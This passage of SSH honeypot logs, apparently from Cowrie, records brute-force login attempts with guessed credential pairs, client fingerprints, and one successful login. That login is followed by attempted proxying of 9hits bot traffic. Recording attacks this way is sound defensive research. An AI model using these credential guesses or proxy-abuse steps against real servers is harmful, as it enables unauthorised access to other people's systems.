cm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:17.804041Z","src_ip":"45.153.34.195","session":"ce7cbead0dcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx2020","message":"login attempt [root/!QAZ2wsx2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:17.954392Z","src_ip":"201.17.146.173","session":"61101492fcd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brenda","password":"brenda","message":"login attempt [brenda/brenda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:18.064402Z","src_ip":"45.153.34.195","session":"ce7cbead0dcc","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:18.698333Z","src_ip":"91.92.40.36","session":"3e771f899aaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:18.701345Z","src_ip":"91.92.40.36","session":"3e771f899aaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:19.094395Z","src_ip":"201.17.146.173","session":"61101492fcd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:19.148449Z","src_ip":"45.153.34.195","session":"ce7cbead0dcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"haddock","password":"haddock123!@#","message":"login attempt [haddock/haddock123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:20.279716Z","src_ip":"91.92.40.36","session":"5f8185e3a8c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":48762,"dst_ip":"10.17.0.5","dst_port":22,"session":"11576ba59c87","protocol":"ssh","message":"New connection: 45.153.34.195:48762 (10.17.0.5:22) [session: 11576ba59c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:20.527509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:20.609449Z","src_ip":"45.153.34.195","session":"11576ba59c87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:20.671831Z","src_ip":"45.153.34.195","session":"11576ba59c87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser123","message":"login attempt [devuser/devuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:21.040262Z","src_ip":"45.153.34.195","session":"11576ba59c87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":64941,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8a372a56e22","protocol":"ssh","message":"New connection: 113.164.152.20:64941 (10.17.0.5:22) [session: d8a372a56e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:21.147919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:21.151691Z","src_ip":"113.164.152.20","session":"d8a372a56e22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:21.484730Z","src_ip":"113.164.152.20","session":"d8a372a56e22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:22.123026Z","src_ip":"45.153.34.195","session":"11576ba59c87","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:22.784888Z","src_ip":"113.164.152.20","session":"d8a372a56e22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"pa55word","message":"login attempt [debian/pa55word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:23.022048Z","src_ip":"91.92.40.36","session":"3a377645f61b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:23.232983Z","session":"d8a372a56e22","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:23.375984Z","session":"d8a372a56e22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":35758,"dst_ip":"10.17.0.5","dst_port":22,"session":"1da039174bae","protocol":"ssh","message":"New connection: 45.153.34.195:35758 (10.17.0.5:22) [session: 1da039174bae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:23.537462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:23.566344Z","src_ip":"45.153.34.195","session":"1da039174bae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:23.665431Z","src_ip":"45.153.34.195","session":"1da039174bae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:23.691912Z","src_ip":"113.164.152.20","session":"d8a372a56e22","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=TlN7Qkh6JmJPSXpCWD5yVg%3D%3DiwemOcf2ru6oBZ4Z4d2Jwn9kT5mf8H0lZ0ZJNhxa88UkWH6F1YAcTFSz1jCAg3TKB6gHgF%2FlGuvnJTEQgpF0ZQKPY3NUZ5cFhNfBVPE8Nrd3QFmfpoSDzgct%2FkJU7zL8oL0jK7yRWyc2Pfd3RUfdeTm87Yha1XiUqGxuTwaSpIYQyrpKqJZ3B%2Ff58fSsW%2FpplcVu%2Bn%2BCQZZU%2F347gH9YBOocoLvhd4RDpX6ivOCoo8XVMDBfvxAe4QF%2Bd0RFDXQdDe7wcVOqEqIsIPdiAN4neqjLY1msJCm8N%2BBwycnjtL90PvL9ppl1WUTg6kVSr2X%2BRG3cFd9SvwXHZXwykDpZZis0PHXnMmxDu2HaDrRu%2F6UcBejDmQ315wOq1i7pFwL5SEz6pF3p%2BGZom0qNN1T45dd3lACGj156GX5L5gaeT3XWl9S9j6CMcjDenm9ROwwF1QFtgY7l%2F3ZEfks0PKFETspAeqPb2WYuo2J120KKIlTltR3LT4hNfLaLjgmO2Xe84jOpaniFLBXJuQS9oBS4%2FCQO09oWrRkw2tUT3aazkKfYGcom2WghOFmxbLlcDwOjUnpeUjtuOPuER%2B28x7X7LKpdxsAZSvdShKWHnKoJ2ooop3z%2BpcIa%2FuoDyPwbK1BkAywzt2NRpNkQ6cWl2%2BcPBJNlxYLwiBrYDwvlCqi1Fw%2FDxXuTganUMtIjHnr8glx3E2RvdpraVmTpihb%2FG7AooAe8PTzdIyREwjKnJcdVqx%2FfXKCw73rLW2chyRJNn%2F33KOWTqKKXLKsIXKHRKPxm0Ib0q2Ey%2BweGcbKz1n%2F1eAMKothR0WBzzgOSwo86%2FEwR49Wx8KsCkxI1H%2B5vkxRxD5h%2F2eGBGLy3o28r8%2F7jL%2Ffe4XMFZmc7EP8FEhdtPNovKiaPMIWD%2BxoB1J8r6nD0JlZpYCfA2x94qd8K5EBB%2FCsazFDbtZFmjHBLKjzETzi6hQcUzcjxqNqQWdg4IjrqExNtZW8QOn6siyCGfSHveNx4ce71N3Erth8CWTlof3KlDzfVj0jnuDfBrOaDIl%2BpEuEtp1dYTN7bXyNBKlyaDk0%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=TlN7Qkh6JmJPSXpCWD5yVg%3D%3DiwemOcf2ru6oBZ4Z4d2Jwn9kT5mf8H0lZ0ZJNhxa88UkWH6F1YAcTFSz1jCAg3TKB6gHgF%2FlGuvnJTEQgpF0ZQKPY3NUZ5cFhNfBVPE8Nrd3QFmfpoSDzgct%2FkJU7zL8oL0jK7yRWyc2Pfd3RUfdeTm87Yha1XiUqGxuTwaSpIYQyrpKqJZ3B%2Ff58fSsW%2FpplcVu%2Bn%2BCQZZU%2F347gH9YBOocoLvhd4RDpX6ivOCoo8XVMDBfvxAe4QF%2Bd0RFDXQdDe7wcVOqEqIsIPdiAN4neqjLY1msJCm8N%2BBwycnjtL90PvL9ppl1WUTg6kVSr2X%2BRG3cFd9SvwXHZXwykDpZZis0PHXnMmxDu2HaDrRu%2F6UcBejDmQ315wOq1i7pFwL5SEz6pF3p%2BGZom0qNN1T45dd3lACGj156GX5L5gaeT3XWl9S9j6CMcjDenm9ROwwF1QFtgY7l%2F3ZEfks0PKFETspAeqPb2WYuo2J120KKIlTltR3LT4hNfLaLjgmO2Xe84jOpaniFLBXJuQS9oBS4%2FCQO09oWrRkw2tUT3aazkKfYGcom2WghOFmxbLlcDwOjUnpeUjtuOPuER%2B28x7X7LKpdxsAZSvdShKWHnKoJ2ooop3z%2BpcIa%2FuoDyPwbK1BkAywzt2NRpNkQ6cWl2%2BcPBJNlxYLwiBrYDwvlCqi1Fw%2FDxXuTganUMtIjHnr8glx3E2RvdpraVmTpihb%2FG7AooAe8PTzdIyREwjKnJcdVqx%2FfXKCw73rLW2chyRJNn%2F33KOWTqKKXLKsIXKHRKPxm0Ib0q2Ey%2BweGcbKz1n%2F1eAMKothR0WBzzgOSwo86%2FEwR49Wx8KsCkxI1H%2B5vkxRxD5h%2F2eGBGLy3o28r8%2F7jL%2Ffe4XMFZmc7EP8FEhdtPNovKiaPMIWD%2BxoB1J8r6nD0JlZpYCfA2x94qd8K5EBB%2FCsazFDbtZFmjHBLKjzETzi6hQcUzcjxqNqQWdg4IjrqExNtZW8QOn6siyCGfSHveNx4ce71N3Erth8CWTlof3KlDzfVj0jnuDfBrOaDIl%2BpEuEtp1dYTN7bXyNBKlyaDk0%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:23.695026Z","src_ip":"113.164.152.20","session":"d8a372a56e22","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:23.966840Z","src_ip":"113.164.152.20","session":"d8a372a56e22","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1bOKa\\xbf\\xc3\\x86\\x9b\\x9e\\x994\\xe9D\\xa9Z\\x8a\\xd3\\x1d\\xb3}\\xf6\\x96$\\xc6}\\x89\\xf1$E\\xa8\\x06\\x1f \\x7f3\\x88|\\xe2\\x8e\\xae\\xc8\\x98$'f\\nB\\xc9\\xf0]\\xa5Q\\xf3\\x13S\\x83\\xa8\\r\\\\\\xb5W\\xd9\\xceI\\x12\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe4K\\x93c0r%\\xa4Y\\x08\\xe1{I\\x8eq\\x1dZ=K&\\xc9{E\\x14U&\\xc4\\x94\\xa50\\rx\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1bOKa\\xbf\\xc3\\x86\\x9b\\x9e\\x994\\xe9D\\xa9Z\\x8a\\xd3\\x1d\\xb3}\\xf6\\x96$\\xc6}\\x89\\xf1$E\\xa8\\x06\\x1f \\x7f3\\x88|\\xe2\\x8e\\xae\\xc8\\x98$'f\\nB\\xc9\\xf0]\\xa5Q\\xf3\\x13S\\x83\\xa8\\r\\\\\\xb5W\\xd9\\xceI\\x12\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe4K\\x93c0r%\\xa4Y\\x08\\xe1{I\\x8eq\\x1dZ=K&\\xc9{E\\x14U&\\xc4\\x94\\xa50\\rx\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\